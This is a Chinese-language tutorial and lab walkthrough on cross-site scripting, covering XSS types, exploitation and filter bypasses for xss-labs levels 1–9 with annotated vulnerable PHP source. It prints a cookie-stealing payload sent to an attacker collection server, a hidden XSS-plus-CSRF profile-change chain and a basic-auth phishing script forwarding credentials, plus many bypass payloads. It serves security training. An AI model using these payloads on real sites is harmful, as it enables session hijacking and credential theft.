XSS漏洞 深度解析 XSS_labs靶场

发布时间:2023年12月17日

XSS漏洞 深度解析 XSS_labs靶场

0x01 简介

XSS原名为Cross-site Sciprting(跨站脚本攻击),因简写与层叠样式表(Cascading style sheets)重名,为了区分所以取名为XSS。

这个漏洞主要存在于HTML页面中进行动态渲染输出的参数中,利用了脚本语言和HTML语言的特性,将恶意的JavaScript脚本注入进HTMl页面,这些脚本可以窃取用户信息、会话令牌、修改页面内容等,从而达到攻击目的。

XSS的基本流程是:

  1. 发现漏洞: 攻击者首先寻找目标网站中的未正确过滤或验证的用户输入点,比如搜索框、评论区等,以便在页面上注入恶意代码。
  2. 构造恶意载荷: 攻击者通过输入特殊构造的代码(通常是JavaScript)来注入恶意载荷。这个代码可能会窃取用户的会话Cookie、重定向到钓鱼站点或执行其他恶意操作。
  3. 注入恶意代码: 攻击者将构造好的恶意代码注入到目标页面中。一旦被注入到页面中,这段恶意代码会在其他用户访问该页面时执行。
  4. 触发攻击: 用户访问包含恶意代码的页面时,浏览器会执行该代码,导致攻击成功,例如窃取用户信息、劫持会话或进行其他未经授权的操作。
  5. 攻击完成: 攻击者成功获取了用户的敏感信息或实现了其他恶意目的。

image-20231212195346451

0x02 XSS的分类

  1. 反射型XSS:

    • 攻击者利用用户提供的输入(比如URL参数、表单输入等),将恶意脚本注入到网页中,然后用户访问这个包含恶意代码的网页时,浏览器就会执行这些恶意代码。

    • 反射性XSS内的恶意脚本只会执行一次

    • <script>alert(document.cookie)</script>
      
    • image-20231212220114074

  2. 存储型XSS:

    • 它利用了网站上存储的数据中的漏洞,将恶意脚本存储到网站的数据库或文件中。
    • 这种攻击方式不同于反射型XSS,它不需要用户访问特定的恶意链接或触发特定的URL参数,而是将恶意脚本永久地存储在网站上。
    • 当其他用户访问包含这些恶意脚本的页面或资源时,他们的浏览器也会执行这些恶意代码,从而导致类似的安全问题,比如窃取用户信息或进行未经授权的操作。
    • image-20231212220406288
  3. DOM-based XSS:

    • 它与传统的反射型XSS和存储型XSS有所不同。在DOM-based XSS攻击中,恶意脚本并不直接从服务器端注入到页面内容中,而是利用了浏览器在处理页面内容时的漏洞。
    • 这种攻击利用了网页的DOM(文档对象模型)操作,恶意脚本在页面加载后通过JavaScript等方式修改了页面的DOM结构,然后在执行过程中,由于恶意脚本的影响,导致浏览器执行了恶意操作。
    • image-20231212220501718

0x03 利用方式

XSS漏洞之所以危险,是因为攻击者可以利用它执行JavaScript代码,而JavaScript是一种功能强大的编程语言,可以进行几乎所有与网页相关的操作,包括但不限于:

  1. 窃取Cookie: 攻击者可以通过XSS攻击获取用户的Cookie信息,这些Cookie可能包含用户的会话信息或其他敏感数据。

攻击POC

<script>document.location='http://pikachu.win/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>

image-20231212140044281

document.location 运行时打开一个连接,后面的连接是黑客收集XSS的服务端,使用cookie参数接收一个document.cookie本地的cookie,只要运行就会自动跳转黑客的服务端,并将用户的cookie值存入黑客指定的服务器中。

image-20231212142201891

<?php
    
    if($_GET['cookie'])){
        $user_cookie = $GET['cookie'];
    }
	header("Location:http://pikachu/index.php");  
    ?>

解决的办法也非常简单,在使用setcookie()函数是,将httponly设置为true,这样cookie就无法通过javascript脚本获取,自然就防御了XSS攻击

  1. 增删改信息配合CSRF漏洞: 如果网站的管理后台存在XSS漏洞,攻击者可以利用该漏洞在后台执行增加、删除或修改信息等操作,甚至获取管理员权限。

先构造一个修改信息的脚本text.php。它其实就是一个CSRF的漏洞,当用户是登录状态下获得的UID的Cookie,在来访问该脚本中的URL,就会造成敏感信息被修改。

<script>
  let sex = 'lili'
  let phonenum = '186265454532'
  let add = 'chain32322'
  let email = 'vince@pikachu.com'

  document.location = 'http://pikachu.win/vul/csrf/csrfget/csrf_get_edit.php?sex=' + sex + '&phonenum=' + phonenum + '&add=' + add + '&email=' + email + '&submit=submit';

   setTimeout(function() {
     history.back();
   }, 0);
</script>

构造XSS的payload,该payload的作用就是当用户触发这个脚本,就会自动跳转刚刚的text.php的脚本文件中,去触发CSRF漏洞的执行。

<script>document.location='http://xss.win/text.php'</script>

首先登录vince账号!查看现在的信息~

image-20231212184947367

然后我们去访问这个含有XSS漏洞的连接.例如我们在首页去进行访问。

http://pikachu.win/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fxss.win%2Ftext.php%27%3C%2Fscript%3E&submit=submit

image-20231212190341747

进行访问后,因为history.back()函数,我们会立刻又返回到这个页面,让用户也察觉不出,已经被攻击了,但是实际上,信息已经被修改了。

image-20231212190750783

对于此类XSS攻击,一定对用户输入的信息做严格过滤验证,在修改敏感信息时要加二次验证,最好是在加一个有token机制,来防范CSRF漏洞。

  1. XSS钓鱼攻击: 攻击者可以伪造看似合法的网站页面,诱使用户输入敏感信息(如用户名、密码等),并窃取这些信息。

    首先需要去一个伪造的站点,这里以pikachu靶场的代码为例:

    <?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
    //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        header("Location: http://pikachu.win/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
        &password={$_SERVER[PHP_AUTH_PW]}");
    }
    ?>
    

    然后构造payload将它注入进含有XSS漏洞的页面。

    <script src='http://pikachu.win/pkxss/xfish/fish.php'></script>
    

    image-20231212195125115

    输入后,该代码会保存在数据库中,然后通过前端回显调用出该代码,从而触发XSS脚本

    image-20231212195531979

    我们在这个认证弹框中输入任意账号密码,都会被记录在攻击者的后台。

    image-20231212215729143

  2. 修改网页代码: 攻击者可以通过XSS漏洞修改网页的代码,插入恶意脚本,甚至篡改网页内容,欺骗用户。

  3. XSS蠕虫攻击: 这种攻击利用XSS漏洞,使恶意脚本能够自我复制并传播到其他页面,从而扩大攻击范围。

  4. 网站重定向: 攻击者可以利用XSS漏洞将用户重定向到恶意站点,可能用于进一步的钓鱼攻击或安装恶意软件。

  5. 获取键盘记录: 通过XSS攻击,攻击者可能尝试捕获用户的键盘输入,以窃取密码或其他敏感信息。

  6. 获取用户信息等: 攻击者可以利用XSS漏洞获取用户的各种信息,如浏览器信息、IP地址、地理位置等,用于进一步的攻击或个人信息泄露。

因此,XSS漏洞确实对网站和用户造成潜在威胁,因为攻击者可以利用它执行几乎所有与网页交互和用户信息相关的操作。

0x04 挖掘思路

1. 寻找适合的web参数(定位)

XSS的挖掘就在于,如何去发现已知、未知的参数,其实它也是整个web渗透的精髓,在web渗透中漏洞的产生绝大多数都是因为,用户输入的参数。

而每个漏洞关注的点略有不同,例如:

  • SQL注入:它关注该参数是否与数据库进行了交互。
  • **文件上传漏洞:**它关注于站点对上传功能的处理方式。
  • **RCE(命令执行):**它关注站点是否可以执行通过输入参数传递的命令。
  • XSS漏洞: 它关注于站点页面是否会将用户输入的参数在页面上回显(显示)出来。

如果一个站点参数在页面上不回显用户输入,这意味着输入的内容在页面渲染时不会直接显示给用户。这种情况下,光是尝试XSS payload可能无法发现漏洞,因为恶意代码无法在页面上直接执行。

所以寻找站点的参数就是最关键的一步,找到所有隐藏参数,那么你的渗透也就成功了一半。

显式参数

在HTTP协议中,一般都会通过GET或POST来传递参数,而要传递什么参数,就要看后端需要接收什么参数。

<?php
    $_GET['id'];
?>

上面的php源码就是一个使用GET方法接收名为id的参数,那么这个id的参数是从来传入的呢?

在HTML的标签中name属性就是用来传递这个参数,这个属性我们可以通过查看源码来发现!

image-20231204184229709

所以我们可以通过查看源码HTML标签中的name属性来查找参数!

隐式参数
1. hidden属性

在HTML的hidden属性它称为隐藏域,用于将数据存储在表单中但不显示给用户。这个隐藏域通过 <input type="hidden"> 元素来实现。

虽然隐藏域在页面中不可见,但它在 HTML 源代码中是可见的,而且在浏览器中查看页面源代码时也可以看到。因此,隐藏域的存在可以在源代码中被发现和查看,而且它的值也会在提交表单时传递给服务器端。

image-20231205093707271

隐藏域通常用于存储一些不希望用户看到或编辑的数据,比如会话标识符、状态信息或者其他需要在后端处理但无需用户交互的数据。

2. 后端参数

还有一种隐藏参数,就是后端设置了GET或者POST传递参数,但是这些参数在前端的 HTML 代码中并没有明确显示。这种情况可能发生在后端通过服务器端生成或者处理参数,并将其注入到请求中,而不是通过明确的前端表单或链接来传递。

这些参数可能通过后端处理、服务端脚本或其他机制注入到请求中,比如通过服务器端的处理逻辑、Session 数据、Cookies、URL 重定向等方式。这样的参数在前端的 HTML 源代码中通常不会直接显示出来。

在这种情况下,要发现这些由后端设置的参数,可能需要更深入地审查请求和响应,可能需要对服务器端的代码进行分析,观察请求和响应的数据,在网络请求中查找可能的参数传递。

3. 脚本中的参数

在javascript中也存在隐藏的参数,这些参数通常是通过js脚本来存储或处理数据,所以它并不直接暴露给用户,但是之前所说的前端都是纸老虎,前端js脚本始终是要与用户进行交互,所以只要仔细去挖掘js脚本内容,还能能用内容中发现参数。

隐藏参数的方法还有很多,这里只是举例比较常见了几种隐藏方式。

2. 测试参数是否在页面回显(分析)

找到参数虽然非常重要,但是查看这些参数是否能利用,还得看这些参数的在后端的功能,例如之前所说,参数是否与数据库交互,是否会回显在页面上,是否具有上传功能等等,根据我们要挖掘的漏洞,去分析测试这些参数的功能。

  1. 找到对应的参数.image-20231205095834525
  2. 输入一串特殊的字符串,查看是否在页面上回显,通过查找功能,查看它回显的源码位置!

? image-20231205100149909

  1. 从上图发现,我们输入的字符串,是被一个p标签给包裹,并且已经回显在页面上,由此可以判断此处,可能存在XSS漏洞,构造一个POC进行XSS测试!
<script>alert(1)</script>

image-20231205101224049

发现存在字符长度限制,所以POC没有输入完整,对源码进行更改,取消长度限制,测试成功!

image-20231205101357611

3. 混淆验证

以上测试,都是没有参数输入验证或过滤机制,进行测试,在实际情况下,可能就存在WAF或者后端函数过滤等方式,来防御XSS,而混淆验证就是为了绕过它们进行攻击。

具体如如何去绕过还的根据实际情况在决定,而这一部分则放到靶场实际操作来验证!先介绍一下XSS绕过的姿势

1. 编码和混淆
  • HTML编码绕过: 攻击者可能使用HTML实体编码绕过,如将 < 编码为 <" 编码为 "
  • JavaScript编码绕过: 攻击者可通过将特殊字符编码为 Unicode 或其他字符编码格式来绕过过滤,如\u003cscript\u003e替代<script>
2. 绕过过滤器
  • 大小写混合: 混合使用大写和小写字母来绕过简单的大小写过滤。
  • 空格和换行: 将代码分解成多行或在关键位置添加空格来绕过简单的过滤器。
  • 特殊字符: 使用其他语言或特殊字符集来绕过过滤器。
3. 绕过过滤策略
  • 图片XSS: 利用图像标签、SVG、CSS 等在图片加载时执行脚本。
  • 事件处理器: 利用事件处理器,如 onerror, onmouseover 等触发脚本执行。
  • 绕过特定过滤规则: 了解目标网站的过滤规则并尝试绕过,比如如果过滤了 <script>,尝试使用 <svg/onload=alert()>
4. 混合攻击向量
  • XSS + CSRF: 结合跨站请求伪造(CSRF)攻击,使得 XSS 更有针对性和危险性。
  • XSS + DOM: 利用 DOM 型 XSS,通过修改页面内容来触发漏洞。
  • XSS + SQL注入: 利用 XSS 漏洞获取数据库信息,或通过 XSS 漏洞触发 SQL 注入漏洞。
  • XSS + 文件上传漏洞: 通过 XSS 漏洞上传恶意文件。
5. 基于浏览器的绕过方法
  • JS引擎差异: 不同浏览器对某些 JavaScript 语法的解释和执行可能存在差异,攻击者可以利用这些差异进行绕过。
  • 浏览器漏洞利用: 利用浏览器已知或未知的漏洞,执行恶意代码。
  • 浏览器插件: 通过浏览器插件来绕过防御,这些插件可能会修改页面的内容或执行脚本。

这些技术可能单独或者结合使用,攻击者通常会根据目标网站的具体情况和安全措施来选择合适的攻击方式。对于开发者和安全团队来说,了解这些攻击方法是非常重要的,以便及时更新和强化防御措施。

0x05 XSS_labs靶场实践

image-20231205102339432

level-1

image-20231205102625740

思路:
  1. 查找注入点

    • 从页面分析,URL中带有一个参数name,但是在源码中,在HTML源码标签中并未发现使用name属性进行传值,所以这里判断是采用后端隐藏属性。
    • image-20231205103015891
  2. 分析注入点

    • name输入一个有我们自己定义的字符串,查看是否具有回显。

    • image-20231205103203249

    • 由上图发现,我们输入的特殊字符串,在页面是有回显的,但是在#号后的字符都被截断了。发生这种情况,有可能是后端对输入的字符进行过滤。先测试POC看看是否可以成功通过

      <script>alert(1)</script>
      

      image-20231205104311684

      普通POC直接通关。

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="levell2.php?keyword=test"; 
}
</script>
    //重写了window.alert参数,在这里页面触发了alert()函数就会跳转到这里的逻辑
<title>欢迎来到levell1</title>
</head>
<body>
<h1 align=center>欢迎来到levell1</h1>
<?php 
ini_set("display_errors", 0);
//ini_set 是 PHP 中用于动态改变配置选项的函数。它允许在运行时修改 PHP 配置,这样可以在代码中针对特定的需求进行配置更改
//display_errors 是 PHP 的一个配置选项,用于控制是否在页面上显示 PHP 错误信息。1=true 报错信息显示,0=false 报错信息不显示
$str = $_GET["name"];
//使用了GET方法将name传递的值赋值给$str
echo "<h2 align=center>欢迎用户".$str."</h2>";
//在页面输出 h2标签并剧中的字符串,传递的值也会输出到页面的上。XSS漏洞
?>
<center><img src=levell1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
//显示传入参数的长度!
?>
</body>
</html>
    

从源码分析,该源码没有对传入的参数做任何验证、过滤。

level-2

image-20231205105902881

思路:
  1. 查找输入点和回显点:

    • image-20231205111521872

    • 由上图来看,它也是具备xss漏洞的特性的。输入<>~!@#$123 成功回显到页面上,测试XSS POC

    • <script>alert(1)</script>
      
  2. 分析POC

    • 输入POC后,脚本并没有执行,由此分析可能存在验证或者过滤。

    • image-20231205111836339

    • 查看页面源码后发现<>符号被转义了,<转义为&lt>转义为&gt,所以无法执行

    • image-20231205112451055

    • 但是在input标签的value中并没有转义,但是它被当作字符串回显在页面上。那么我们可以考虑把input标签闭合,在使用js脚本。

    • image-20231205113319836

  3. 混淆

    • POC

    • "><script>alert(1)</script>
      
    • 这个POC前面的“>就是为了闭合input标签的结构, 然后在输入POC脚本

    • image-20231205115440184

    • 成功执行脚本!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="levell3.php?writing=wait"; 
}
//和之前一样,这里就不解释了
</script>
<title>欢迎来到levell2</title>
</head>
<body>
<h1 align=center>欢迎来到levell2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<!--使用了htmlspecialchars()进行了过滤,但是过滤的位置不对 -->
<form action=levell2.php method=GET>
<input name=keyword  value="'.$str.'">
<!--没有对参数进行过滤转义,所以导致了XSS漏洞 -->
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=levell2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars() 是 PHP 中用于处理字符串的函数之一,它主要用于转换特殊字符为 HTML 实体,防止潜在的 XSS,htmlspecialchars 函数可以将特殊字符(比如 <, >, &, ', " 等)转换为它们对应的 HTML 实体,(比如 &lt, &gt, &amp, &apos, &quot)。

但是它的不应该放在输出点上,它应该放在使用GET方法传参的输入点上,才可以防御XSS

level-3

image-20231205122122194

思路:

老规矩还是查找输入点和回显点。

image-20231205122323083

观察上图可以发现,它与level-2比较相似,所以我们直接使用level-2的POC,来进行测试。

image-20231205122546198

发现无法触发脚本,在页面源码中,value中的<>括号也被转义了,没有<>号就无法进行XSS攻击了吗?不是我们还可以用标签事件来触发XSS

标签事件介绍:

标签事件指的是 HTML 标签中所包含的 JavaScript 事件,这些事件可以触发在用户浏览页面时执行相应的 JavaScript 代码。通过这些事件,可以对用户与页面的交互作出响应,实现丰富的交互体验。

以下是一些常见的 HTML 标签事件及其作用:

  • onclick: 当用户点击某个元素(如按钮、链接等)时触发。
  • onmouseover: 当鼠标移动到元素之上时触发。
  • onmouseout: 当鼠标移出元素时触发。
  • onkeydown: 当用户按下键盘上的任意键时触发。
  • onload: 当页面或图片完成加载时触发。
  • onsubmit: 当表单提交时触发。

通过将这些事件附加到 HTML 元素上,可以定义对应的 JavaScript 代码,从而实现对用户操作的响应。例如,使用 onclick 事件可以在用户点击按钮时执行特定的 JavaScript 函数,从而改变页面的内容或进行其他操作。

使用POC

' οnmοuseοver=alert(1) '

前面的和后面的单引号都是为了闭合input标签中的value属性,从而改变DOM结构,创建一个新的事件属性。

image-20231205123821377

当鼠标经过这个input标签就会触发事件,从而导致了XSS漏洞的产生。

image-20231205125059994

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="levell4.php?keyword=try harder!"; 
}
</script>
    //于之前levell 一致
<title>欢迎来到levell3</title>
</head>
<body>
<h1 align=center>欢迎来到levell3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//任然没有做过滤验证
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."
<center>
//和levell-2 一致,使用htmlspecialchars()进行了专业
<form action=levell3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
// 对input标签内的value的值进行的转义
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=levell3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

该源码是在level-2的基础上 对input标签中的value值进行了过滤转义操作,但是验证强度还是不够。

level-4

image-20231205124750838

思路:

老规矩还是查找输入点和回显点。

image-20231205124911521

从此处看和level-2、level-3 差不多,所以我直接使用level-3 的POC进行测试!

image-20231205125135046

发现并没有触发脚本,检测页面源码发现input标签中的value属性使用是 双引号。

image-20231205125212659

重新构造POC

" οnmοuseοver=alert(1) "

image-20231205130030023

成功拿下!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="levell5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到levell4</title>
</head>
<body>
<h1 align=center>欢迎来到levell4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=levell4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=levell4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

在本源码中引入了str_replace()函数,它 是 PHP 中用于字符串替换的函数之一。它用指定的新字符串替换字符串中的部分内容,并返回替换后的结果。

  • $str2 = str_replace(">", "", $str);:这行代码将参数中的 > 替换为空字符串,即移除了参数中的 > 符号。
  • $str3 = str_replace("<", "", $str2);:这行代码将 $str2 中的 < 替换为空字符串,即移除了参数中的 < 符号。

其他源码于level-3 的源码也基本一致,但是任然未对源头进行验证过滤!

level-5

image-20231205133023570

思路:

老规矩还是查找输入点和回显点。

image-20231205133134713

输入level 4的POC进行测试

image-20231205133235824

从页面源码中发现onmouseover 事件的on之间添加了一个下划线_,这里可能是加强对事件属性的验证过滤!

使用level-2 的POC继续尝试

<scRipt>alert(1)</script>

image-20231205134050126

从页面源码上发现script 也被插入了一个下划线,导致脚本无法触发。

这里又要引入一个新方法 javascript伪协议:

JavaScript 伪协议(“javascript:”)是一种用于在 href 或类似位置中执行 JavaScript 代码的方法。它的使用方法是在 URL 中以 “javascript:” 开头,后接要执行的 JavaScript 代码。

例如:

<a href="javascript:alert('Hello')">点击这里</a>

在这个例子中,当用户点击这个链接时,href 属性指定了一个 JavaScript 代码,即弹出一个包含 “Hello” 的警告框。

尽管 JavaScript 伪协议在某些情况下可以用于执行简单的 JavaScript 操作,但它也存在一些安全风险。在使用时需要格外小心,因为它可能会被恶意利用,比如被用于构造 XSS(跨站脚本攻击)等攻击。

构造POC

"><a href="javascript:alert(1)">123</a>

前面的“>是为了闭合value属性,使用了<a>标签的超连接属性herf,引入了javascript的伪协议,当点击这个连接时就会触发js脚本。

image-20231205135606209

成功触发!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="levell6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到levell5</title>
</head>
<body>
<h1 align=center>欢迎来到levell5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=levell5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=levell5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>


此关卡源码,于level4 基本一致,不同的是使用str_replace()函数替换的字符串是onscript,并且还使用strtolower()将输入的字符都转化成了小写,所以在本关卡中无法使用大小写绕过。!

level-6

image-20231205150019558

思路:

老规矩还是查找输入点和回显点。

image-20231205150117019

发现点于之前关卡一致,直接使用level-5的POC测试,

发现href被插入了下划线!

image-20231205150347394

在进行多轮测试后终于发现,使用level-5的POC把 href属性,更换为大写即可触发脚本

"><a HREF="javascript:alert(1)">123</a>

image-20231205151119226

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="levell7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到levell6</title>
</head>
<body>
<h1 align=center>欢迎来到levell6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
//发现只对关键字的小写进行的替换,且没有对传入参数进行转化小写,可以用大写绕过关键字。
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=levell6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=levell6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

从源码中发现,它对这多个关键字进行的替换,但是没有对传入的参数进行小写或大写转换,从而导致了可以使用大写字符绕过验证。

那么在此处应该还有几种POC可以使用测试如下:

"> <sCript>alert(1)</sCript> <"
" oNmouseover=javascript:alert(1) "
level-7

image-20231205151829412

思路:

老规矩还是查找输入点和回显点。

image-20231205152419847

直接使用level-7的POC测试,发现script、herf等关键字被过滤了,

image-20231205152613611

但是<尖括号还可以用,那么是否可以用文件上传中使用过的双写绕过呢?我们继续测试。

"> <scscriptript>alert(1)</scscriptript>

image-20231205153516735

成功绕过!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=c("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

由源码看出,它只使用str_replace它针对了部分XSS常用的关键字进行了过滤,并没有替换,从而造成了双写绕过的漏洞!

level-8

image-20231205153839784

思路:

老规矩还是查找输入点和回显点。

image-20231205154053019

在本关卡中,处理的逻辑于之前几关不台一样,它是将用户输入的信息,传递到<a>标签中,而不是直接现实在页面上,但是关系也不大。点击链接一样会触发脚本执行。使用POC进行测试

<scirpt>alert(1)</scirpt>

image-20231205161627809

此处发现 script 关键字被插入了下划线,因此无法使用双写绕过,也尝试了大小绕过,也被转义为小写,也无法使用,使用JavaScript伪协议发现也被插入了下划线!

image-20231205162037254

做到这里我已经忍不住想去查看源码,来解开谜题了,可又脑子突发奇想,使用编码后的字符进行绕过。

HTML解析步骤

  1. 获取 HTML 文件: 首先,浏览器获取 HTML 文件。这可能是从服务器请求获取的网络资源,或者是本地文件系统中的文件。
  2. 创建DOM树: 浏览器将获取的 HTML 文档转换为DOM(文档对象模型)树的形式。在此过程中,浏览器解析 HTML 标记,根据标记创建对应的元素节点,形成一个层级结构,这就是DOM树。
  3. 解析标记和属性: 当浏览器解析 HTML 标记时,它会识别标记中的属性。当遇到包含 href 属性的元素(比如<a>标签),浏览器会检查这个属性并尝试理解它所表示的内容。
  4. 处理 href 属性: 当浏览器遇到 href 属性时,它会自动进行解码。这意味着浏览器会检查属性值中的URL编码(或其他编码)字符(如%20表示空格),然后将它们解码为原始的字符形式(例如,将%20解码为实际的空格字符)。
  5. 构建渲染树: 解析完成后,浏览器将DOM树和CSS样式信息合并,构建渲染树。渲染树描述了页面上各个元素的渲染关系和样式信息。
  6. 页面布局和绘制: 最后,浏览器根据渲染树和布局信息计算各元素在屏幕上的位置,并进行绘制,将最终的页面呈现给用户。

在这个过程中,当浏览器遇到 href 属性时,它会自动执行URL解码的步骤。这确保了链接地址中的特殊字符被正确解析和显示,从而使用户能够访问正确的资源。这种自动解码的机制有助于提高网页的可访问性和互操作性。

使用BP的编码解码功能对伪协议进行html实体编码:

javascript:alert(1)

编码后

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;

image-20231205163628063

在进行测试

image-20231205163701840

成功过关!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

发现该源码对关键字进行了转化插入操作,而且也使用strtolower()函数进行转换,导致很难进行XSS注入攻击,在此应该直接在GET赋值前 使用htmlspecialchars()函数对传入的参数提前处理

level-9

image-20231205164549915

思路:

老规矩还是查找输入点和回显点。

image-20231205164809968

此处于leve8的代码基本一致,我也采用level-8的POC进行测试!

image-20231205165151498

发现链接不合法,那么说明样链接才合法呢,这就需要一步步的去测试

先输入一个正常值hello world来测试,发现任然不合法,还是要找出它的规则。

image-20231205175000925

输入www.baidu.com 测试,还是不合法

image-20231205175151017

继续把http协议也加上测试http://baidu.com继续测试,已经能正常现实链接。

image-20231205175303978

由刚才测试的过程,推断关键点应该就在于http://我们一个一个测试这几个字符。发现只要输入了http:// 就是合法链接,其他位置可以随意输入任意字符。

image-20231205175601231

image-20231205185802956

在思考良久后,我觉得如果使用普通的XSS POC肯定是无法实现触发脚本执行的,但是我感觉如果使用js伪协议,应该可以将http:// 给注释掉,立刻行动起来!

javascript:alert(1)//http://

image-20231205190348178

这里发现script这个关键字被插入了下划线,我们可以采用level-8的POC用html实体编码对这个伪协议进行编码

image-20231205190554094

编码后又出现了链接不合法,此处我犯了一个错误,它要检测的是这串字符串中是否存在http://的字段,在我进行编码后,它全变成了html实体编码,后端无法识别,所以它就报链接不合法了。更换poc继续测试!

image-20231205190951889

成功触发脚本执行!

源码分析:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
